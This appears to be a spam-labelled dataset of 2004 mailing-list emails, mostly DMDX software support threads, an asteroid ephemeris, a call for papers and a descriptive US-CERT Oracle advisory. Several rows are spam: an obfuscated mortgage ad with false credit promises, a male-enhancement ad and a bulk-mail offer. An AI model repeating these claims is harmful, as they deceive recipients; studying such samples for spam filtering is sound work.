expression task,"At 12:28 PM 8/31/2004 -0400, you wrote: >Thanks a lot! >I seem to have it working now. It still calculates the error rate on some >items for some reason, but I think this can easily be ignored. There error rate displayed in the experimenter's display at the end of every item is simply and aid to removing those subjects not committed to the task earlier than the end of the experiment. It's not stored in any way and unless you branch on the error rate it's not used either. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 11:10:24 -0700",[DMDX] Re: facial expression task,"At 10:30 AM 8/31/2004 -0700, you wrote: >At 12:28 PM 8/31/2004 -0400, you wrote: >>Thanks a lot! >>I seem to have it working now. It still calculates the error rate on >>some items for some reason, but I think this can easily be ignored. You might want to whack the too if you still have it in item 0. If you start scrambling things a different number of items will be skipped on each run... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return.",0,0 Brent ,reliable_computing-outgoing@interval.louisiana.edu,"Tue, 31 Aug 2004 05:24:59 -0700",Mailshot s.erver,"We offer: - Server for direct send over emails. - Provide email-list in your need and send over your newsletter for you. We believe we could help you. Benjamin Services Support Manageq@21cn.com The message is to bruceg@em.ca NotAgain: 0Annabelle@Yahoo.com",1,0 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 15:40:10 -0400",[DMDX] Re: facial expression task,"Thanks. I got rid of that and added $ to the begining and end parts. My last hurdle, and I might just leave it, is that we do in fact want to have correct versus non correct answers on top of keeping track of the ratings. Right now I have it so that the mpr and the mnr are positive and negative based on the correct answer, which gives me an output file that records the reaction time, the answer given, and would show a timeout whenever the wrong answer is given, but there must be a more elegant way to do it. -Greg >>> jforster@psy1.psych.arizona.edu 08/31/04 02:10PM >>> At 10:30 AM 8/31/2004 -0700, you wrote: >At 12:28 PM 8/31/2004 -0400, you wrote: >>Thanks a lot! >>I seem to have it working now. It still calculates the error rate on >>some items for some reason, but I think this can easily be ignored. You might want to whack the too if you still have it in item 0. If you start scrambling things a different number of items will be skipped on each run... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 13:21:29 -0700",[DMDX] Re: facial expression task,"At 03:40 PM 8/31/2004 -0400, you wrote: >Thanks. I got rid of that and added $ to the begining and end parts. My >last hurdle, and I might just leave it, is that we do in fact want to have >correct versus non correct answers on top of keeping track of the >ratings. Right now I have it so that the mpr and the mnr are positive and >negative based on the correct answer, which gives me an output file that >records the reaction time, the answer given, and would show a timeout >whenever the wrong answer is given, but there must be a more elegant way >to do it. Not without using macros. Keep in mind Dmastr was originally designed in the late 70s so anything it does today carries significant ""heritage"". /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ",0,0 Lawrence Garrett ,"Rik Hill , aqv-ct ","Tue, 31 Aug 2004 20:32:32 -0400",Webpage posting.,"Greeting Rik and Alberto: Thank you Alberto for your excellent animations of Toutatis to lead this article, and good luck on the photometry. Rik please place a link on under the Special Projects section at the webpage, with the title here, The 2004 Favorable Elongation of 4179 Toutatis Please place this article on the page, with the images at the top of the page. A close approach in September 2004 will give observers this closest and brightest approach of any near-Earth minor planet since 2002 NY40 in August 2002. While not quite as close to Earth, this will exceded NY40 by almost a full magnitude is brightness. The report below is from the Minor Planet Bulletin, Jan.-Mar. 2004, from Prof. Pilcher's Unusually Favorable Elongation list. Pilcher writes: Minor Planet 4179 toutatis will make in 2004 its closest approach to Earth of all its series of close approaches. Observers are cautioned that the brightest magnitude of 8.9 on Sep. 28 and minimum distance of 0.0104 AU on Sep. 29 occur more the a month after maximum elongation from the Sun on Aug. 21. Toutatis will make additional fairly close approaches in 2008 and 2012, but not again until 2070. (end) The ephemeris below for the dates September 2-October 2, cover this approach in detail. Notes the rapid drop in magnitude after its closest approach, best seen by southern hemishere observers. Observers are urged to conduct both visual and CCD observation as soon as the moon will allow. My thanks go out to Alberto Quijano Vodniza, University of Nariño Observatory Pasto, Nariño. COLOMBIA, for his animations of Toutatis seen here. Mr Vodniza plans photometry of this object, with results to be published in the Minor Planet Bulletin. (4179) Toutatis Date RA declination r delta mag Elong ---- -- ----------- - ----- --- ----- 2 Sep 2004 21h58m54.83s -13 56' 33.1"" 1.187 0.182 12.7 167.1 3 Sep 2004 21h58m15.06s -14 06' 00.8"" 1.179 0.175 12.6 165.9 4 Sep 2004 21h57m33.71s -14 16' 02.6"" 1.171 0.168 12.6 164.7 5 Sep 2004 21h56m50.71s -14 26' 42.0"" 1.163 0.161 12.5 163.5 6 Sep 2004 21h56m05.95s -14 38' 03.1"" 1.155 0.154 12.5 162.3 7 Sep 2004 21h55m19.32s -14 50' 10.7"" 1.148 0.147 12.4 161.1 8 Sep 2004 21h54m30.65s -15 03' 10.5"" 1.140 0.140 12.3 159.9 9 Sep 2004 21h53m39.75s -15 17' 09.4"" 1.132 0.133 12.2 158.6 10 Sep 2004 21h52m46.37s -15 32' 15.7"" 1.125 0.126 12.1 157.3 11 Sep 2004 21h51m50.16s -15 48' 39.5"" 1.117 0.120 12.0 156.1 12 Sep 2004 21h50m50.73s -16 06' 33.5"" 1.110 0.113 12.0 154.7 13 Sep 2004 21h49m47.52s -16 26' 13.1"" 1.102 0.107 11.9 153.4 14 Sep 2004 21h48m39.84s -16 47' 58.1"" 1.095 0.100 11.7 152.0 15 Sep 2004 21h47m26.75s -17 12' 13.2"" 1.088 0.093 11.6 150.6 16 Sep 2004 21h46m07.04s -17 39' 30.9"" 1.081 0.087 11.5 149.2 17 Sep 2004 21h44m39.03s -18 10' 33.4"" 1.074 0.081 11.4 147.7 18 Sep 2004 21h43m00.43s -18 46' 17.7"" 1.067 0.074 11.2 146.1 19 Sep 2004 21h41m07.99s -19 28' 01.3"" 1.060 0.068 11.1 144.4 20 Sep 2004 21h38m57.01s -20 17' 33.0"" 1.054 0.062 10.9 142.6 21 Sep 2004 21h36m20.48s -21 17' 29.6"" 1.047 0.055 10.7 140.7 22 Sep 2004 21h33m07.49s -22 31' 45.1"" 1.041 0.049 10.5 138.5 23 Sep 2004 21h29m00.22s -24 06' 22.0"" 1.035 0.043 10.3 136.0 24 Sep 2004 21h23m27.58s -26 11' 10.4"" 1.028 0.037 10.0 132.9 25 Sep 2004 21h15m30.39s -29 03' 04.9"" 1.022 0.031 9.7 129.1 26 Sep 2004 21h03m01.41s -33 12' 57.9"" 1.017 0.025 9.4 123.8 27 Sep 2004 20h40m33.81s -39 39' 34.7"" 1.011 0.019 9.1 115.9 28 Sep 2004 19h49m47.48s -49 59' 57.6"" 1.005 0.014 8.9 102.8 29 Sep 2004 17h12m28.22s -62 02' 35.9"" 1.000 0.011 9.2 79.7 30 Sep 2004 13h05m34.09s -51 35' 16.2"" 0.994 0.011 11.2 49.5 1 Oct 2004 11h34m59.61s -30 59' 35.9"" 0.989 0.014 14.2 30.6 2 Oct 2004 11h01m35.94s -18 06' 43.7"" 0.984 0.019 15.5 26.7 Lawrence Garrett Assistant Coordinator Thanks Rik ",0,0 Martine Ceberio ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 30 Aug 2004 09:59:27 -0700",SAC 05 - track on Reliable Computations and their Applications,"Dear Friends, This is a reminder of the deadline of our track at SAC'05 (the call for paper is detailed below). The deadline of our track on Reliable Computations and their Applications is this Friday, September 3rd. Mark your calendars. We look forward to reading you soon. Regards, Martine, Vladik and Michel PS: you can find further information on the following webpages: http://www.cs.utep.edu/interval-comp/sac05.html or http://www.cs.utep.edu/mceberio/SAC05-RCA/sac05intro.html ----------------------------------------------- CALL FOR PAPERS - RCA'2005 Reliable Computations and their Applications (with an emphasis on combining interval and constraint satisfaction techniques) a Technical Track at the 20th ACM Symposium on Applied Computing SAC'2005 March 13 - 17, 2005, Santa Fe, New Mexico, USA TRACK CO-CHAIRS: Martine Ceberio University of Texas at El Paso El Paso, TX, USA mceberio@cs.utep.edu Vladik Kreinovich University of Texas at El Paso El Paso, TX, USA vladik@cs.utep.edu Michel Rueher Universite de Nice ESSI Sophia Antipolis, France rueher@essi.fr SAC'2005 For the past nineteen years, the ACM Symposium on Applied Computing has been a primary gathering forum for applied computer scientists, computer engineers, software engineers, and application developers from around the world. SAC 2005 is sponsored by the ACM Special Interest Group on Applied Computing, and is hosted by New Mexico Institute of Mining and Technology, Socorro, NM, USA. RCA TRACK: MOTIVATIONS Many numerical computations, be it solutions to systems of differential equations or optimization problems coming from applied areas like protein folding, do not provide us with guaranteed computation results. In many situations, we have numerical solutions, we may even have a theorem guaranteeing that eventually, this numerical solution tends to the actual precise one, but the algorithm itself does not provide us with guaranteed bounds on the difference between the numerical approximate solution and the desired actual one. Therefore, in some practical situations, numerical solutions are much farther from the actual (unknown) precise solutions than the users assume. As a result, we often end up with inefficient local maxima for practical optimization problems like chemical engineering - or even with a mission failure if we are planning, e.g., a spaceship trajectory. For some such algorithms, researchers have found guaranteed bounds, but producing a guaranteed bound for each algorithm requires a lot of work. It is therefore desirable to develop a methodology that would provide algorithms with automatic result verification, i.e., with automatically generated upper bound on the difference between the actual and the numerical solution. In other words, we need computation techniques that produce reliable (guaranteed) results. This problem was recognized already in the late 1950s when Lockheed wanted to develop algorithmic techniques guaranteeing trajectories of spaceflights. These techniques, largely developed by Ramon E. Moore, were later applied to other practical problems where deviations from the target are of critical importance. The main idea behind these techniques is that at any intermediate step of the computations, instead of the exact number, we keep an interval of possible values. For inputs (that usually come from measurements), we have an interval because measurements are never 100% accurate; if the manufacturer of the measuring instrument guarantees that the measurement error is D or smaller, then the measuring result X means that the actual value is in the interval [X-D,X+D]. At each elementary computational step, we apply interval arithmetic to the corresponding intervals and produce the interval for the result; e.g., [a,b]+[c,d] leads to [a+c,b+d]. Of course, this ""straightforward interval computation"", that does not take dependence between intermediate results into consideration, does not always lead to efficient estimates; however, in the last 40+ years, efficient interval computations methods have been developed based on this original idea. There are a lot of interesting applications of interval computations, there is a lot of potential, but there are still numerous open problems, situations where new techniques are needed. One such technique that has also been used to provide guaranteed bounds is the technique of constraint propagation. This technique originated in logical AI problems, and it has been lately successfully applied to numerical problems, often in conjunction with interval methods. For example, one of the latest textbooks on interval computations, by Jaulin et al., contains robot-related practical examples of combining these two techniques. This combination has started, it is the object of interest by many researchers, it has already led to interesting and efficient packages like Numerica, but there is still a lot of room for potential improvement. We hope that our track, with an emphasis on such a combination, will bring together not only algorithm developers but also practitioners whose practical needs will help guide researchers in the proper directions. PAPERS Authors are invited to submit original papers in all areas related to the track's topic. Possible submissions fall into the following categories: * Original and unpublished research work * Report of innovative computing applications in the arts, sciences, engineering, and business areas * Report of successful technology transfer to new problem domains * Report of industrial experience and demos of new innovative systems Peer groups with expertise in the track focus area will blindly review submissions to that track. Accepted papers will be published in the annual conference proceedings. Papers should be submitted with no more that 4000 words. Accepted papers must fit within five (5) two column pages, with the option (at additional expense) to add three (3) more pages. For submission, please use guidelines posted under Downloads at the SAC 2004 website. (There may be minor changes for submitting the final versions of accepted papers). Paper submissions should be sent to Track co-Chairs. IMPORTANT DUE DATES Sept. 3, 2004: Paper submissions Oct. 15, 2004: Author notification Nov. 5, 2004: Camera-Ready Copy CONFERENCE VENUE Nestled at 7000 feet (2 km) in the foothills of Rocky Mountains, Santa Fe, New Mexico, the ""City Different"", is the oldest capital city in the United States, the city that has a long history and rich cultural heritage. Originally a townlet populated by Pueblo Indians, it became a capital of Nueva Espana (New Spain) in 1607, then a capital of the Mexican state of Nuevo Mexico (New Mexico); since 1840s, it is part of the USA. Santa Fe is famous for its culture, art, and traditions. It is home to US's third largest art market, to the Santa Fe Opera, variety of cuisines, hundreds of quaint shops, and unlimited outdoor activities. For more information about Santa Fe see the city website __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail ",0,1 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 21:42:08 -0400",[DMDX] RE: Re: facial expression task,"So is there a way to use macros AND have it scramble? -Greg -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. Forster Sent: Tuesday, August 31, 2004 3:21 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: facial expression task At 03:40 PM 8/31/2004 -0400, you wrote: >Thanks. I got rid of that and added $ to the begining and end parts. My >last hurdle, and I might just leave it, is that we do in fact want to have >correct versus non correct answers on top of keeping track of the >ratings. Right now I have it so that the mpr and the mnr are positive and >negative based on the correct answer, which gives me an output file that >records the reaction time, the answer given, and would show a timeout >whenever the wrong answer is given, but there must be a more elegant way >to do it. Not without using macros. Keep in mind Dmastr was originally designed in the late 70s so anything it does today carries significant ""heritage"". /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 2004 11:46:15 +1000",[DMDX] Re: Analysing times of incorrect responses,"Thanks, Jonathan, but wouldn't that mean that the value 2 would be in the azk file as well? the only error made by subject 4 was a yes response of 400msec, according to the azk file. Also I am using version 3.0.4.3. Virginia Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""j.c.f."" To: Sent: Wednesday, September 01, 2004 2:06 AM Subject: [DMDX] Re: Analysing times of incorrect responses > > Very, very, very old versions of DMDX could wind up with RTs that low if > the subject was pressing the key before the clock was turned on. > > > At 06:18 PM 8/31/2004 +1000, you wrote: > > >Hullo all > > > > > > > > I'm trying to find out how long responses were when people made an > > incorrect response in a very easy yes/no task, with an average error rate > > of only 3%. So I bundled all the conditions into just two - one for yes > > trials and one for no trials and ran the following SPC file. However, I > > get some strange values in the .das file. The number 2 crops up where > > there should be a value, say 400, according to the azk file. The top of > > the das file is given below. > > > > > > > > Does anybody have any ideas as to what is wrong here? Many thanks. > > > > > > > > Virginia Holmes > > > >_______________________________ > > > > > > > >title: Number sequence judgments >""urn:schemas-microsoft-com:office:office"" /> > > > > > > > >analyze_incorrect_responses > > > > > > > >low_cutoff: 100 > > > >high_cutoff: 4000 > > > > > > > >RT_width: 6 > > > >RT_precision: 0 > > > > > > > >Condition: 1 > > > >name: Yes > > > >Items: 2 80 28 106 54 132 82 158 108 184 134 210 4 160 30 > >186 56 212 > >110 214 136 188 162 164 138 190 112 216 6 84 32 58 10 34 8 > > 86 60 88 36 166 62 140 90 114 116 92 142 64 168 38 192 > >12 218 194 14 220 118 144 > > > > > > > >Condition: 2 > > > >name: No > > > >Items: 120 222 146 196 170 172 148 198 122 224 16 94 40 66 > >42 68 18 96 70 226 44 174 72 150 98 124 100 204 74 178 46 > >176 20 200 202 228 22 230 126 152 24 102 48 128 76 154 104 > >180 130 206 156 232 182 26 208 50 234 78 > > > > > > > >_________________________________ > > > > > > > >SUBJECT RT Number sequence judgments > > > > **** 376 > > > > 342 **** > > > > 274 119 > > > > 2 **** > > > > **** 2 > > > > 285 277 > > > > 2 **** > > > > **** 2 > > > > 295 470 > > > > 382 317 etc. > > > > > > > >________________________________ > > > >Assoc. Prof. V. M. Holmes > >Department of Psychology > >University of Melbourne > >Parkville 3010 > >Australia > > > >Tel: (03) 8344.6368 > >Facs: (03) 9347.6618 > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The old believe everything: the middle-aged suspect > everything: the young know everything. > - Oscar Wilde, > 'Phrases and Philosophies for the Use of > the Young', > 1894 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Riaz Redus ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 13:44:48 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! If you OW a N real e u st f at p e and want I r MME w DIAT o E ca f sh to s h pen d d ANY way you like, or simply wish to L k OWER your monthly pa r yment i s by a third or more, here are the deal h s we have T f OD c AY : $ 48 v 8 , 000 at a 3 , 6 g 7% f q ixed - rat d e $ 3 r 72 , 000 at a 3 d , 90% va m riab t le - rat m e $ 4 i 92 , 000 at a 3 e , 21% int z eres i t - only $ 24 e 8 , 000 at a 3 , r 36% f h ixed - rat m e $ 1 c 98 , 000 at a 3 v , 55% vari v able - ra v te Hurr l y, when these deaI k s are gone, they are gone ! Don't worry about ap i prov g al, your c z red u it will not d k isqu e alify you ! Vi o si q t our s s ite Sincerely, Riaz Redus Ap g prov n al Manager",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 2004 10:16:08 -0700",[DMDX] Re: Analysing times of incorrect responses,"At 11:46 AM 9/1/2004 +1000, you wrote: >Thanks, Jonathan, but wouldn't that mean that the value 2 would be in the >azk file as well? Yes. > the only error made by subject 4 was a yes response of >400msec, according to the azk file. Also I am using version 3.0.4.3. Clearly it's not DMDX that's doing something unexpected. You'll have to send me or Ken (not the list) the files used to generate those results, the .AZK and the .SPC files. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ How much deeper would the ocean be if sponges didn't live there? - Stephen Wright ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 2004 10:17:17 -0700",[DMDX] RE: Re: facial expression task,"At 09:42 PM 8/31/2004 -0400, you wrote: >So is there a way to use macros AND have it scramble? They are completely unrelated features of DMDX. They don't interact at all beyond scramble moving things around. You don't need macros for the task at hand. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ How much deeper would the ocean be if sponges didn't live there? - Stephen Wright ",0,0 Marion ,reliable_computing-outgoing@interval.louisiana.edu,"Wed, 01 Aug 2001 05:56:59 -0100",you wont believe Marion,"Heya! Has your cum ever dribbled and you wish it had shot out? Have you ever wanted to impress your girl with a huge cumshot? MAX LOADS is the only site to offer an all natural male enhancement formula that is proven to increase your sperm volume by up to 500%. Our highly potent, volume enhancing formula will give our results in days and comes with an impressive 100% guarantee. Imagine the difference (look and feel) between dribbling your cum compared to shooting out burst after burst. Try MAX LOADS now! and with our money back guarantee you have absolutely nothing to lose! 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According to Oracle, the following product releases and versions, and all future releases and versions are not affected: * Oracle Database 10g Release 1, version 10.1.0.3 * Oracle Enterprise Manager Grid Control 10g, version 10.1.0.3 (not yet available) * Oracle Application Server 10g (9.0.4), version 9.0.4.2 (not yet available) Overview Several vulnerabilities exist in the Oracle Database Server, Application Server, and Enterprise Manager software. The most serious vulnerabilities could allow a remote attacker to execute arbitrary code on an affected system. Oracle's Collaboration Suite and E-Business Suite 11i contain the vulnerable software and are affected as well. I. Description Several vulnerabilities have been reported in Oracle's Database Server, Application Server, and Enterprise Manager software. According to reports, several buffer overflow, format string, SQL injection and other types of vulnerabilities were discovered and reported to Oracle. Oracle has released Oracle Security Alert #68 (pdf) to address these vulnerabilities. We are tracking them as follows: VU#170830 - Oracle Enterprise Manager contains several vulnerabilities VU#316206 - Oracle Database Server contains several vulnerabilities VU#435974 - Oracle Application Server contains several vulnerabilities As more information becomes available, we will update these vulnerability notes as appropriate. II. Impact The impacts of the vulnerabilities described above are unclear. According to credible reports, the impacts of these vulnerabilities range from the remote unauthenticated execution arbitrary code to data corruption or leakage. III. Solution Apply a patch or upgrade Apply the appropriate patch or upgrade as specified in the Oracle Security Alert #68 (pdf). Organizations that use Oracle's Collaboration Suite or E-Business Suite 11i should see Oracle Security Alert #68 (pdf) for remediation instructions. Appendix A. References * Oracle Security Alert #68 (pdf) - < http://www.oracle.com/technology/deploy/security/pdf/2004alert68.p df> * US-CERT Vulnerability Note VU#316206 - * US-CERT Vulnerability Note VU#435974 - * US-CERT Vulnerability Note VU#170830 - _________________________________________________________________ US-CERT thanks all the parties involved in researching and reporting these vulnerabilities. Specifically, Oracle credits the people for discovering these issues: David Litchfield, Michael Litchfield, Cesar Cerrudo, Pete Finnigan, Jonathan Gennick, Alexander Kornbrust, Stephen Kost, Matt Moore, Aaron Newman, Andy Rees, and Christian Schaller. _________________________________________________________________ Feedback can be directed to the author: Jason A. Rafail. _________________________________________________________________ This document is available from: _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ Revision History Sep 1, 2004: Initial release Last updated September 01, 2004 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFBNihCXlvNRxAkFWARAplJAJ9AROpSu/1ykM0LkIcpnoADxTKHFwCgtE4b OLKV86pUUBI7/iE2GVtHA8s= =M7Dk -----END PGP SIGNATURE-----",0,1 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Sep 2004 09:02:57 -0400",[DMDX] RE: Re: facial expression task,"Thanks Jonathan. I think I'm going to leave it as is. If it ain't broke, don't fix it. Thanks again for all your help. -Greg >>> jforster@psy1.psych.arizona.edu 09/01/04 01:17PM >>> At 09:42 PM 8/31/2004 -0400, you wrote: >So is there a way to use macros AND have it scramble? They are completely unrelated features of DMDX. They don't interact at all beyond scramble moving things around. You don't need macros for the task at hand. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ How much deeper would the ocean be if sponges didn't live there? - Stephen Wright ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 KEVIN GLOVER ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Sep 2004 15:37:28 +0100",[DMDX] ANALYZE," I have successfully run the Unload utility to merge two azk data files into one. However, I have not been able to run the Analyze program. With my merged azk data as the input file, Analyze produces an error message: not an RTF file, first chars are not ""{\\rtf"". Although I have not seen any references in the Help or Tutorial files to needing to convert the azk file to rtf for Analyze, I have done so in response to the error message. When I then try to run the RTF file as input to Analyze, I no longer get the RTF error message, but I get this in the progress box: Parsing item file ... Item file has 0 non-instruction item numbers After several hours of trying everything I can think of, any advice or suggestions would be gratefully received. Kevin Glover, University of Essex, UK --------------------------------- ALL-NEW Yahoo! Messenger - all new features - even more fun! ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Sep 2004 11:11:31 -0400",[DMDX] Re: ANALYZE,"I think the data preparation section of my tutorial can answer your question; you can find it at http://www.gsu.edu/~eslnxj/dmdx/dataprep.html --Nan Jiang +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ >>> kevin.glover@btinternet.com 09/02/04 10:37am >>> I have successfully run the Unload utility to merge two azk data files into one. However, I have not been able to run the Analyze program. With my merged azk data as the input file, Analyze produces an error message: not an RTF file, first chars are not ""{\\rtf"". Although I have not seen any references in the Help or Tutorial files to needing to convert the azk file to rtf for Analyze, I have done so in response to the error message. When I then try to run the RTF file as input to Analyze, I no longer get the RTF error message, but I get this in the progress box: Parsing item file ... Item file has 0 non-instruction item numbers After several hours of trying everything I can think of, any advice or suggestions would be gratefully received. Kevin Glover, University of Essex, UK --------------------------------- ALL-NEW Yahoo! Messenger - all new features - even more fun! ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Sep 2004 10:56:46 -0700",[DMDX] Re: ANALYZE,"At 03:37 PM 9/2/2004 +0100, you wrote: >I have successfully run the Unload utility to merge two azk data files >into one. However, I have not been able to run the Analyze program. > >With my merged azk data as the input file, Analyze produces an error >message: not an RTF file, first chars are not ""{\\rtf"". Although I have not >seen any references in the Help or Tutorial files to needing to convert >the azk file to rtf for Analyze, I have done so in response to the error >message. When I then try to run the RTF file as input to Analyze, I no >longer get the RTF error message, but I get this in the progress box: > >Parsing item file ... > >Item file has 0 non-instruction item numbers > >After several hours of trying everything I can think of, any advice or >suggestions would be gratefully received. Your clue is ""Parsing item file ..."". ANALYZE requires the item file and item files are RTF files. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Oh don't the days seem lank and long When all goes right and none goes wrong, And isn't your life extremely flat With nothing whatever to grumble at! ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Sep 2004 15:56:45 -0700",[DMDX] ANALYZE 2.03," ANALYZE 2.03 fixes an error where if there were no data points in a condition it didn't explicitly set the avg, sum, and sd to zero in the data rejection code. If there were data points they were zeroed prior to summing and so forth but because the code has to avoid the divide by zero that would result with no data points it just skipped that whole block of code. At the start of a subjects calculations this would leave zero in the variables otherwise the average and sd will have come from the prior condition. Not sure where the value 2 came from in the recent post but it's gone now that the data rejection code is making the right decisions when there are no data points. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wright's First Law of Quality: Quality is inversely proportional to the time left for completion of the project. ",0,0 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Sep 2004 15:39:27 +1000",[DMDX] Re: ANALYZE 2.03,"Hi Dmdxers Thanks Jonathan for your attention to analyse. I've run the new analyse on the data I sent Ken, and no longer get spurious 2s (see start of new das file below). But analyse seems to be missing some incorrect responses that are there. For instance, subjects 4 and 5 appear as having no incorrect values, but, according to the azk file, subj 4 makes one error on trial 112 (in the yes lefthand category) and subj 5 makes one error on trial 130 (in the right hand no category). These trials do seem to be included in the spc file, so I'm not sure what's wrong. Any help would be greatly appreciated. Virginia Holmes ________________________________________________ SUBJECT RT Number sequence judgments **** 376 342 **** 274 119 **** **** **** **** 285 277 **** **** **** **** etc. Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Friday, September 03, 2004 8:56 AM Subject: [DMDX] ANALYZE 2.03 > > ANALYZE 2.03 fixes an error where if there were no data points in a > condition it didn't explicitly set the avg, sum, and sd to zero in the data > rejection code. If there were data points they were zeroed prior to > summing and so forth but because the code has to avoid the divide by zero > that would result with no data points it just skipped that whole block of > code. At the start of a subjects calculations this would leave zero in the > variables otherwise the average and sd will have come from the prior > condition. Not sure where the value 2 came from in the recent post but > it's gone now that the data rejection code is making the right decisions > when there are no data points. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Wright's First Law of Quality: > Quality is inversely proportional to the time left for > completion of the project. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Sep 2004 10:31:47 -0700",[DMDX] Re: ANALYZE 2.03,"At 10:09 AM 9/3/2004 -0700, you wrote: >Hi Dmdxers > >Thanks Jonathan for your attention to analyse. I've run the new analyse on >the data I sent Ken, and no longer get spurious 2s (see start of new das >file below). But analyse seems to be missing some incorrect responses that >are there. For instance, subjects 4 and 5 appear as having no incorrect >values, but, according to the azk file, subj 4 makes one error on trial 112 >(in the yes lefthand category) and subj 5 makes one error on trial 130 (in >the right hand no category). These trials do seem to be included in the spc >file, so I'm not sure what's wrong. Any help would be greatly appreciated. Perhaps those data points have been rejected because they're beyond 2.0 SDs? | +===============================+ V SUBJECT %ERRORS MEAN S.D. SD/MEAN 2.0-SD MISSING CUTOFF DISPLAY 1 98 376.3 12.4 0.03 0 0 0 0 2 98 342.4 59.2 0.17 0 0 0 0 3 98 196.9 109.8 0.56 0 0 0 0 4 99 0.0 0.0 0.00 1 0 0 0 5 99 0.0 0.0 0.00 1 0 0 0 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wright's First Law of Quality: Quality is inversely proportional to the time left for completion of the project. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Sep 2004 14:41:53 -0700",[DMDX] DMDX 3.0.4.7," Ok, hopefully the last iteration in the battle against that which cannot be shovelled going by the despicable name of Keithley. DMDX 3.0.4.7 now traps a windows message it previously had nothing to do with detecting when the Keithley crap shifts our focus (which can be some completely arbitrary time after initializing their excretions) and shifting focus back where it should be. All previous kludges are removed as their action is rendered moot. 